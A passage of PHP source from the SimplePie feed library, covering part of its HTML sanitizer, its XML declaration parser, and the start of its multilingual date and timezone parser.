								{
									if ($cache->save(array('headers' => $file->headers, 'body' => $file->body)))
									{
										$img->setAttribute('src', $this->image_handler . $image_url);
									}
									else
									{
										trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
									}
								}
							}
						}
					}
				}

				// Get content node
				$div = $document->getElementsByTagName('body')->item(0)->firstChild;
				// Finally, convert to a HTML string
				$data = trim($document->saveHTML($div));

				if ($this->remove_div)
				{
					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data);
					$data = preg_replace('/<\/div>$/', '', $data);
				}
				else
				{
					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
				}
			}

			if ($type & SIMPLEPIE_CONSTRUCT_IRI)
			{
				$absolute = $this->registry->call('Misc', 'absolutize_url', array($data, $base));
				if ($absolute !== false)
				{
					$data = $absolute;
				}
			}

			if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI))
			{
				$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
			}

			if ($this->output_encoding !== 'UTF-8')
			{
				$data = $this->registry->call('Misc', 'change_encoding', array($data, 'UTF-8', $this->output_encoding));
			}
		}
		return $data;
	}

	protected function preprocess($html, $type)
	{
		$ret = '';
		$html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html);
		if ($type & ~SIMPLEPIE_CONSTRUCT_XHTML)
		{
			// Atom XHTML constructs are wrapped with a div by default
			// Note: No protection if $html contains a stray </div>!
			$html = '<div>' . $html . '</div>';
			$ret .= '<!DOCTYPE html>';
			$content_type = 'text/html';
		}
		else
		{
			$ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
			$content_type = 'application/xhtml+xml';
		}

		$ret .= '<html><head>';
		$ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
		$ret .= '</head><body>' . $html . '</body></html>';
		return $ret;
	}

	public function replace_urls($document, $tag, $attributes)
	{
		if (!is_array($attributes))
		{
			$attributes = array($attributes);
		}

		if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags))
		{
			$elements = $document->getElementsByTagName($tag);
			foreach ($elements as $element)
			{
				foreach ($attributes as $attribute)
				{
					if ($element->hasAttribute($attribute))
					{
						$value = $this->registry->call('Misc', 'absolutize_url', array($element->getAttribute($attribute), $this->base));
						if ($value !== false)
						{
							$value = $this->https_url($value);
							$element->setAttribute($attribute, $value);
						}
					}
				}
			}
		}
	}

	public function do_strip_htmltags($match)
	{
		if ($this->encode_instead_of_strip)
		{
			if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
			{
				$match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
				$match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
				return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
			}
			else
			{
				return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
			}
		}
		elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
		{
			return $match[4];
		}
		else
		{
			return '';
		}
	}

	protected function strip_tag($tag, $document, $xpath, $type)
	{
		$elements = $xpath->query('body//' . $tag);
		if ($this->encode_instead_of_strip)
		{
			foreach ($elements as $element)
			{
				$fragment = $document->createDocumentFragment();

				// For elements which aren't script or style, include the tag itself
				if (!in_array($tag, array('script', 'style')))
				{
					$text = '<' . $tag;
					if ($element->hasAttributes())
					{
						$attrs = array();
						foreach ($element->attributes as $name => $attr)
						{
							$value = $attr->value;

							// In XHTML, empty values should never exist, so we repeat the value
							if (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_XHTML))
							{
								$value = $name;
							}
							// For HTML, empty is fine
							elseif (empty($value) && ($type & SIMPLEPIE_CONSTRUCT_HTML))
							{
								$attrs[] = $name;
								continue;
							}

							// Standard attribute text
							$attrs[] = $name . '="' . $attr->value . '"';
						}
						$text .= ' ' . implode(' ', $attrs);
					}
					$text .= '>';
					$fragment->appendChild(new DOMText($text));
				}

				$number = $element->childNodes->length;
				for ($i = $number; $i > 0; $i--)
				{
					$child = $element->childNodes->item(0);
					$fragment->appendChild($child);
				}

				if (!in_array($tag, array('script', 'style')))
				{
					$fragment->appendChild(new DOMText('</' . $tag . '>'));
				}

				$element->parentNode->replaceChild($fragment, $element);
			}

			return;
		}
		elseif (in_array($tag, array('script', 'style')))
		{
			foreach ($elements as $element)
			{
				$element->parentNode->removeChild($element);
			}

			return;
		}
		else
		{
			foreach ($elements as $element)
			{
				$fragment = $document->createDocumentFragment();
				$number = $element->childNodes->length;
				for ($i = $number; $i > 0; $i--)
				{
					$child = $element->childNodes->item(0);
					$fragment->appendChild($child);
				}

				$element->parentNode->replaceChild($fragment, $element);
			}
		}
	}

	protected function strip_attr($attrib, $xpath)
	{
		$elements = $xpath->query('//*[@' . $attrib . ']');

		foreach ($elements as $element)
		{
			$element->removeAttribute($attrib);
		}
	}

	protected function add_attr($tag, $valuePairs, $document)
	{
		$elements = $document->getElementsByTagName($tag);
		foreach ($elements as $element)
		{
			foreach ($valuePairs as $attrib => $value)
			{
				$element->setAttribute($attrib, $value);
			}
		}
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Parses the XML Declaration
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class SimplePie_XML_Declaration_Parser
{
	/**
	 * XML Version
	 *
	 * @access public
	 * @var string
	 */
	var $version = '1.0';

	/**
	 * Encoding
	 *
	 * @access public
	 * @var string
	 */
	var $encoding = 'UTF-8';

	/**
	 * Standalone
	 *
	 * @access public
	 * @var bool
	 */
	var $standalone = false;

	/**
	 * Current state of the state machine
	 *
	 * @access private
	 * @var string
	 */
	var $state = 'before_version_name';

	/**
	 * Input data
	 *
	 * @access private
	 * @var string
	 */
	var $data = '';

	/**
	 * Input data length (to avoid calling strlen() everytime this is needed)
	 *
	 * @access private
	 * @var int
	 */
	var $data_length = 0;

	/**
	 * Current position of the pointer
	 *
	 * @var int
	 * @access private
	 */
	var $position = 0;

	/**
	 * Create an instance of the class with the input data
	 *
	 * @access public
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
		$this->data_length = strlen($this->data);
	}

	/**
	 * Parse the input data
	 *
	 * @access public
	 * @return bool true on success, false on failure
	 */
	public function parse()
	{
		while ($this->state && $this->state !== 'emit' && $this->has_data())
		{
			$state = $this->state;
			$this->$state();
		}
		$this->data = '';
		if ($this->state === 'emit')
		{
			return true;
		}

		$this->version = '';
		$this->encoding = '';
		$this->standalone = '';
		return false;
	}

	/**
	 * Check whether there is data beyond the pointer
	 *
	 * @access private
	 * @return bool true if there is further data, false if not
	 */
	public function has_data()
	{
		return (bool) ($this->position < $this->data_length);
	}

	/**
	 * Advance past any whitespace
	 *
	 * @return int Number of whitespace characters passed
	 */
	public function skip_whitespace()
	{
		$whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
		$this->position += $whitespace;
		return $whitespace;
	}

	/**
	 * Read value
	 */
	public function get_value()
	{
		$quote = substr($this->data, $this->position, 1);
		if ($quote === '"' || $quote === "'")
		{
			$this->position++;
			$len = strcspn($this->data, $quote, $this->position);
			if ($this->has_data())
			{
				$value = substr($this->data, $this->position, $len);
				$this->position += $len + 1;
				return $value;
			}
		}
		return false;
	}

	public function before_version_name()
	{
		if ($this->skip_whitespace())
		{
			$this->state = 'version_name';
		}
		else
		{
			$this->state = false;
		}
	}

	public function version_name()
	{
		if (substr($this->data, $this->position, 7) === 'version')
		{
			$this->position += 7;
			$this->skip_whitespace();
			$this->state = 'version_equals';
		}
		else
		{
			$this->state = false;
		}
	}

	public function version_equals()
	{
		if (substr($this->data, $this->position, 1) === '=')
		{
			$this->position++;
			$this->skip_whitespace();
			$this->state = 'version_value';
		}
		else
		{
			$this->state = false;
		}
	}

	public function version_value()
	{
		if ($this->version = $this->get_value())
		{
			$this->skip_whitespace();
			if ($this->has_data())
			{
				$this->state = 'encoding_name';
			}
			else
			{
				$this->state = 'emit';
			}
		}
		else
		{
			$this->state = false;
		}
	}

	public function encoding_name()
	{
		if (substr($this->data, $this->position, 8) === 'encoding')
		{
			$this->position += 8;
			$this->skip_whitespace();
			$this->state = 'encoding_equals';
		}
		else
		{
			$this->state = 'standalone_name';
		}
	}

	public function encoding_equals()
	{
		if (substr($this->data, $this->position, 1) === '=')
		{
			$this->position++;
			$this->skip_whitespace();
			$this->state = 'encoding_value';
		}
		else
		{
			$this->state = false;
		}
	}

	public function encoding_value()
	{
		if ($this->encoding = $this->get_value())
		{
			$this->skip_whitespace();
			if ($this->has_data())
			{
				$this->state = 'standalone_name';
			}
			else
			{
				$this->state = 'emit';
			}
		}
		else
		{
			$this->state = false;
		}
	}

	public function standalone_name()
	{
		if (substr($this->data, $this->position, 10) === 'standalone')
		{
			$this->position += 10;
			$this->skip_whitespace();
			$this->state = 'standalone_equals';
		}
		else
		{
			$this->state = false;
		}
	}

	public function standalone_equals()
	{
		if (substr($this->data, $this->position, 1) === '=')
		{
			$this->position++;
			$this->skip_whitespace();
			$this->state = 'standalone_value';
		}
		else
		{
			$this->state = false;
		}
	}

	public function standalone_value()
	{
		if ($standalone = $this->get_value())
		{
			switch ($standalone)
			{
				case 'yes':
					$this->standalone = true;
					break;

				case 'no':
					$this->standalone = false;
					break;

				default:
					$this->state = false;
					return;
			}

			$this->skip_whitespace();
			if ($this->has_data())
			{
				$this->state = false;
			}
			else
			{
				$this->state = 'emit';
			}
		}
		else
		{
			$this->state = false;
		}
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Date Parser
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class SimplePie_Parse_Date
{
	/**
	 * Input data
	 *
	 * @access protected
	 * @var string
	 */
	var $date;

	/**
	 * List of days, calendar day name => ordinal day number in the week
	 *
	 * @access protected
	 * @var array
	 */
	var $day = array(
		// English
		'mon' => 1,
		'monday' => 1,
		'tue' => 2,
		'tuesday' => 2,
		'wed' => 3,
		'wednesday' => 3,
		'thu' => 4,
		'thursday' => 4,
		'fri' => 5,
		'friday' => 5,
		'sat' => 6,
		'saturday' => 6,
		'sun' => 7,
		'sunday' => 7,
		// Dutch
		'maandag' => 1,
		'dinsdag' => 2,
		'woensdag' => 3,
		'donderdag' => 4,
		'vrijdag' => 5,
		'zaterdag' => 6,
		'zondag' => 7,
		// French
		'lundi' => 1,
		'mardi' => 2,
		'mercredi' => 3,
		'jeudi' => 4,
		'vendredi' => 5,
		'samedi' => 6,
		'dimanche' => 7,
		// German
		'montag' => 1,
		'mo' => 1,
		'dienstag' => 2,
		'di' => 2,
		'mittwoch' => 3,
		'mi' => 3,
		'donnerstag' => 4,
		'do' => 4,
		'freitag' => 5,
		'fr' => 5,
		'samstag' => 6,
		'sa' => 6,
		'sonnabend' => 6,
		// AFAIK no short form for sonnabend
		'so' => 7,
		'sonntag' => 7,
		// Italian
		'lunedì' => 1,
		'martedì' => 2,
		'mercoledì' => 3,
		'giovedì' => 4,
		'venerdì' => 5,
		'sabato' => 6,
		'domenica' => 7,
		// Spanish
		'lunes' => 1,
		'martes' => 2,
		'miércoles' => 3,
		'jueves' => 4,
		'viernes' => 5,
		'sábado' => 6,
		'domingo' => 7,
		// Finnish
		'maanantai' => 1,
		'tiistai' => 2,
		'keskiviikko' => 3,
		'torstai' => 4,
		'perjantai' => 5,
		'lauantai' => 6,
		'sunnuntai' => 7,
		// Hungarian
		'hétfő' => 1,
		'kedd' => 2,
		'szerda' => 3,
		'csütörtok' => 4,
		'péntek' => 5,
		'szombat' => 6,
		'vasárnap' => 7,
		// Greek
		'Δευ' => 1,
		'Τρι' => 2,
		'Τετ' => 3,
		'Πεμ' => 4,
		'Παρ' => 5,
		'Σαβ' => 6,
		'Κυρ' => 7,
		// Russian
		'Пн.' => 1,
		'Вт.' => 2,
		'Ср.' => 3,
		'Чт.' => 4,
		'Пт.' => 5,
		'Сб.' => 6,
		'Вс.' => 7,
	);

	/**
	 * List of months, calendar month name => calendar month number
	 *
	 * @access protected
	 * @var array
	 */
	var $month = array(
		// English
		'jan' => 1,
		'january' => 1,
		'feb' => 2,
		'february' => 2,
		'mar' => 3,
		'march' => 3,
		'apr' => 4,
		'april' => 4,
		'may' => 5,
		// No long form of May
		'jun' => 6,
		'june' => 6,
		'jul' => 7,
		'july' => 7,
		'aug' => 8,
		'august' => 8,
		'sep' => 9,
		'september' => 9,
		'oct' => 10,
		'october' => 10,
		'nov' => 11,
		'november' => 11,
		'dec' => 12,
		'december' => 12,
		// Dutch
		'januari' => 1,
		'februari' => 2,
		'maart' => 3,
		'april' => 4,
		'mei' => 5,
		'juni' => 6,
		'juli' => 7,
		'augustus' => 8,
		'september' => 9,
		'oktober' => 10,
		'november' => 11,
		'december' => 12,
		// French
		'janvier' => 1,
		'février' => 2,
		'mars' => 3,
		'avril' => 4,
		'mai' => 5,
		'juin' => 6,
		'juillet' => 7,
		'août' => 8,
		'septembre' => 9,
		'octobre' => 10,
		'novembre' => 11,
		'décembre' => 12,
		// German
		'januar' => 1,
		'jan' => 1,
		'februar' => 2,
		'feb' => 2,
		'märz' => 3,
		'mär' => 3,
		'april' => 4,
		'apr' => 4,
		'mai' => 5, // no short form for may
		'juni' => 6,
		'jun' => 6,
		'juli' => 7,
		'jul' => 7,
		'august' => 8,
		'aug' => 8,
		'september' => 9,
		'sep' => 9,
		'oktober' => 10,
		'okt' => 10,
		'november' => 11,
		'nov' => 11,
		'dezember' => 12,
		'dez' => 12,
		// Italian
		'gennaio' => 1,
		'febbraio' => 2,
		'marzo' => 3,
		'aprile' => 4,
		'maggio' => 5,
		'giugno' => 6,
		'luglio' => 7,
		'agosto' => 8,
		'settembre' => 9,
		'ottobre' => 10,
		'novembre' => 11,
		'dicembre' => 12,
		// Spanish
		'enero' => 1,
		'febrero' => 2,
		'marzo' => 3,
		'abril' => 4,
		'mayo' => 5,
		'junio' => 6,
		'julio' => 7,
		'agosto' => 8,
		'septiembre' => 9,
		'setiembre' => 9,
		'octubre' => 10,
		'noviembre' => 11,
		'diciembre' => 12,
		// Finnish
		'tammikuu' => 1,
		'helmikuu' => 2,
		'maaliskuu' => 3,
		'huhtikuu' => 4,
		'toukokuu' => 5,
		'kesäkuu' => 6,
		'heinäkuu' => 7,
		'elokuu' => 8,
		'suuskuu' => 9,
		'lokakuu' => 10,
		'marras' => 11,
		'joulukuu' => 12,
		// Hungarian
		'január' => 1,
		'február' => 2,
		'március' => 3,
		'április' => 4,
		'május' => 5,
		'június' => 6,
		'július' => 7,
		'augusztus' => 8,
		'szeptember' => 9,
		'október' => 10,
		'november' => 11,
		'december' => 12,
		// Greek
		'Ιαν' => 1,
		'Φεβ' => 2,
		'Μάώ' => 3,
		'Μαώ' => 3,
		'Απρ' => 4,
		'Μάι' => 5,
		'Μαϊ' => 5,
		'Μαι' => 5,
		'Ιούν' => 6,
		'Ιον' => 6,
		'Ιούλ' => 7,
		'Ιολ' => 7,
		'Αύγ' => 8,
		'Αυγ' => 8,
		'Σεπ' => 9,
		'Οκτ' => 10,
		'Νοέ' => 11,
		'Δεκ' => 12,		
		// Russian
		'Янв' => 1,
		'января' => 1,
		'Фев' => 2,
		'февраля' => 2,
		'Мар' => 3,
		'марта' => 3,
		'Апр' => 4,
		'апреля' => 4,
		'Май' => 5,
		'мая' => 5,
		'Июн' => 6,
		'июня' => 6,
		'Июл' => 7,
		'июля' => 7,
		'Авг' => 8,
		'августа' => 8,
		'Сен' => 9,
		'сентября' => 9,
		'Окт' => 10,
		'октября' => 10,
		'Ноя' => 11,
		'ноября' => 11,
		'Дек' => 12,
		'декабря' => 12,

	);

	/**
	 * List of timezones, abbreviation => offset from UTC
	 *
	 * @access protected
	 * @var array
	 */
	var $timezone = array(
		'ACDT' => 37800,
		'ACIT' => 28800,
		'ACST' => 34200,
		'ACT' => -18000,
		'ACWDT' => 35100,
		'ACWST' => 31500,
		'AEDT' => 39600,
		'AEST' => 36000,
		'AFT' => 16200,
		'AKDT' => -28800,
		'AKST' => -32400,
		'AMDT' => 18000,
		'AMT' => -14400,
		'ANAST' => 46800,
		'ANAT' => 43200,
		'ART' => -10800,
		'AZOST' => -3600,
		'AZST' => 18000,
		'AZT' => 14400,
		'BIOT' => 21600,
		'BIT' => -43200,
		'BOT' => -14400,
		'BRST' => -7200,
		'BRT' => -10800,
		'BST' => 3600,
		'BTT' => 21600,
		'CAST' => 18000,
		'CAT' => 7200,
		'CCT' => 23400,
		'CDT' => -18000,
		'CEDT' => 7200,
		'CEST' => 7200,
		'CET' => 3600,
		'CGST' => -7200,
		'CGT' => -10800,
		'CHADT' => 49500,
		'CHAST' => 45900,
		'CIST' => -28800,
		'CKT' => -36000,
		'CLDT' => -10800,
		'CLST' => -14400,
		'COT' => -18000,
		'CST' => -21600,
		'CVT' => -3600,
		'CXT' => 25200,
		'DAVT' => 25200,
		'DTAT' => 36000,
		'EADT' => -18000,
		'EAST' => -21600,
		'EAT' => 10800,
		'ECT' => -18000,
		'EDT' => -14400,
		'EEST' => 10800,
		'EET' => 7200,
		'EGT' => -3600,
		'EKST' => 21600,
		'EST' => -18000,
		'FJT' => 43200,
		'FKDT' => -10800,
		'FKST' => -14400,
		'FNT' => -7200,
		'GALT' => -21600,
		'GEDT' => 14400,
		'GEST' => 10800,
		'GFT' => -10800,
		'GILT' => 43200,
		'GIT' => -32400,
		'GST' => 14400,
		'GST' => -7200,
		'GYT' => -14400,
		'HAA' => -10800,
		'HAC' => -18000,
		'HADT' => -32400,
		'HAE' => -14400,
		'HAP' => -25200,
		'HAR' => -21600,
		'HAST' => -36000,
		'HAT' => -9000,
		'HAY' => -28800,
		'HKST' => 28800,
		'HMT' => 18000,
		'HNA' => -14400,
		'HNC' => -21600,
		'HNE' => -18000,
		'HNP' => -28800,
		'HNR' => -25200,
		'HNT' => -12600,
		'HNY' => -32400,
		'IRDT' => 16200,
		'IRKST' => 32400,
		'IRKT' => 28800,
		'IRST' => 12600,
		'JFDT' => -10800,
		'JFST' => -14400,
		'JST' => 32400,
		'KGST' => 21600,
		'KGT' => 18000,
		'KOST' => 39600,
		'KOVST' => 28800,
		'KOVT' => 25200,
		'KRAST' => 28800,
		'KRAT' => 25200,
		'KST' => 32400,
		'LHDT' => 39600,
		'LHST' => 37800,
		'LINT' => 50400,
		'LKT' => 21600,
		'MAGST' => 43200,
		'MAGT' => 39600,
		'MAWT' => 21600,
		'MDT' => -21600,
		'MESZ' => 7200,
		'MEZ' => 3600,
		'MHT' => 43200,
		'MIT' => -34200,
		'MNST' => 32400,
		'MSDT' => 14400,
		'MSST' => 10800,
		'MST' => -25200,
		'MUT' => 14400,
		'MVT' => 18000,
		'MYT' => 28800,
		'NCT' => 39600,
		'NDT' => -9000,
		'NFT' => 41400,
		'NMIT' => 36000,
		'NOVST' => 25200,
		'NOVT' => 21600,
		'NPT' => 20700,
		'NRT' => 43200,
		'NST' => -12600,
		'NUT' => -39600,
		'NZDT' => 46800,
		'NZST' => 43200,
		'OMSST' => 25200,
		'OMST' => 21600,
		'PDT' => -25200,
		'PET' => -18000,
		'PETST' => 46800,
		'PETT' => 43200,
		'PGT' => 36000,
		'PHOT' => 46800,
		'PHT' => 28800,
		'PKT' => 18000,
		'PMDT' => -7200,
		'PMST' => -10800,
		'PONT' => 39600,
		'PST' => -28800,
		'PWT' => 32400,
		'PYST' => -10800,
		'PYT' => -14400,
		'RET' => 14400,
		'ROTT' => -10800,
		'SAMST' => 18000,
		'SAMT' => 14400,
		'SAST' => 7200,
		'SBT' => 39600,
		'SCDT' => 46800,
		'SCST' => 43200,
		'SCT' => 14400,
		'SEST' => 3600,
		'SGT' => 28800,
		'SIT' => 28800,
		'SRT' => -10800,
		'SST' => -39600,
		'SYST' => 10800,
		'SYT' => 7200,
		'TFT' => 18000,
		'THAT' => -36000,
		'TJT' => 18000,
		'TKT' => -36000,
		'TMT' => 18000,
		'TOT' => 46800,
		'TPT' => 32400,
		'TRUT' => 36000,
		'TVT' => 43200,
		'TWT' => 28800,
		'UYST' => -7200,
		'UYT' => -10800,
		'UZT' => 18000,
		'VET' => -14400,
		'VLAST' => 39600,
		'VLAT' => 36000,
		'VOST' => 21600,
		'VUT' => 39600,
		'WAST' => 7200,
		'WAT' => 3600,
		'WDT' => 32400,
		'WEST' => 3600,
		'WFT' => 43200,
		'WIB' => 25200,
		'WIT' => 32400,
		'WITA' => 28800,
		'WKST' => 18000,
		'WST' => 28800,
		'YAKST' => 36000,
		'YAKT' => 32400,
		'YAPT' => 36000,
		'YEKST' => 21600,
		'YEKT' => 18000,
	);

	/**
	 * Cached PCRE for SimplePie_Parse_Date::$day
	 *
	 * @access protected
	 * @var string
	 */
	var $day_pcre;

	/**
	 * Cached PCRE for SimplePie_Parse_Date::$month
	 *
	 * @access protected
	 * @var string
	 */
	var $month_pcre;

	/**
	 * Array of user-added callback methods
	 *
	 * @access private
	 * @var array
	 */
	var $built_in = array();

	/**
	 * Array of user-added callback methods
	 *
	 * @access private
	 * @var array
	 */
	var $user = array();

	/**
	 * Create new SimplePie_Parse_Date object, and set self::day_pcre,
	 * self::month_pcre, and self::built_in
	 *
	 * @access private
	 */
	public function __construct()
	{
		$this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')';
		$this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')';

		static $cache;
		if (!isset($cache[get_class($this)]))
		{
			$all_methods = get_class_methods($this);

			foreach ($all_methods as $method)
			{
				if (strtolower(substr($method, 0, 5)) === 'date_')
				{
					$cache[get_class($this)][] = $method;
				}
			}
		}

		foreach ($cache[get_class($this)] as $method)
		{
			$this->built_in[] = $method;
		}
	}

	/**
	 * Get the object
	 *
	 * @access public
	 */
	public static function get()
	{
		static $object;
		if (!$object)
		{
			$object = new SimplePie_Parse_Date;
		}
		return $object;
	}

	/**
	 * Parse a date
	 *
	 * @final
	 * @access public
	 * @param string $date Date to parse
	 * @return int Timestamp corresponding to date string, or false on failure
	 */
	public function parse($date)
	{
		foreach ($this->user as $method)
		{
			if (($returned = call_user_func($method, $date)) !== false)
			{
				return $returned;
			}
		}

		foreach ($this->built_in as $method)
		{
			if (($returned = call_user_func(array($this, $method), $date)) !== false)
			{
				return $returned;
			}
		}

		return false;
	}

	/**
	 * Add a callback method to parse a date
	 *
	 * @final
	 * @access public
	 * @param callback $callback
	 */
	public function add_callback($callback)
	{
		if (is_callable($callback))
		{
			$this->user[] = $callback;
		}
		else
		{
			trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
		}
	}

	/**
	 * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
	 * well as allowing any of upper or lower case "T", horizontal tabs, or
	 * spaces to be used as the time separator (including more than one))
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_w3cdtf($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$year = '([0-9]{4})';
			$month = $day = $hour = $minute = $second = '([0-9]{2})';
			$decimal = '([0-9]*)';
			$zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))';
			$pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Year
			2: Month
			3: Day
			4: Hour
			5: Minute
			6: Second
			7: Decimal fraction of a second
			8: Zulu
			9: Timezone ±
			10: Timezone hours
			11: Timezone minutes
			*/

			// Fill in empty matches
			for ($i = count($match); $i <= 3; $i++)
			{
				$match[$i] = '1';
			}

			for ($i = count($match); $i <= 7; $i++)
			{
				$match[$i] = '0';
			}

			// Numeric timezone
			if (isset($match[9]) && $match[9] !== '')
			{
				$timezone = $match[10] * 3600;
				$timezone += $match[11] * 60;
				if ($match[9] === '-')
				{
					$timezone = 0 - $timezone;
				}
			}
			else
			{
				$timezone = 0;
			}

			// Convert the number of seconds to an integer, taking decimals into account
			$second = round((int)$match[6] + (int)$match[7] / (10 ** strlen($match[7])));

			return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone;
		}

		return false;
	}

	/**
	 * Remove RFC822 comments
	 *
	 * @access protected
	 * @param string $data Data to strip comments from
	 * @return string Comment stripped string
	 */
	public function remove_rfc2822_comments($string)
	{
		$string = (string) $string;
		$position = 0;
		$length = strlen($string);
		$depth = 0;

		$output = '';

		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
		{
			$output .= substr($string, $position, $pos - $position);
			$position = $pos + 1;
			if ($pos === 0 || $string[$pos - 1] !== '\\')
			{
				$depth++;
				while ($depth && $position < $length)
				{
					$position += strcspn($string, '()', $position);
					if ($string[$position - 1] === '\\')
					{
						$position++;
						continue;
					}
					elseif (isset($string[$position]))
					{
						switch ($string[$position])
						{
							case '(':
								$depth++;
								break;

							case ')':
								$depth--;
								break;
						}
						$position++;
					}
					else
					{
						break;
					}
				}
			}
			else
			{
				$output .= '(';
			}
		}
		$output .= substr($string, $position);

		return $output;
	}

	/**
	 * Parse RFC2822's date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_rfc2822($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$wsp = '[\x09\x20]';
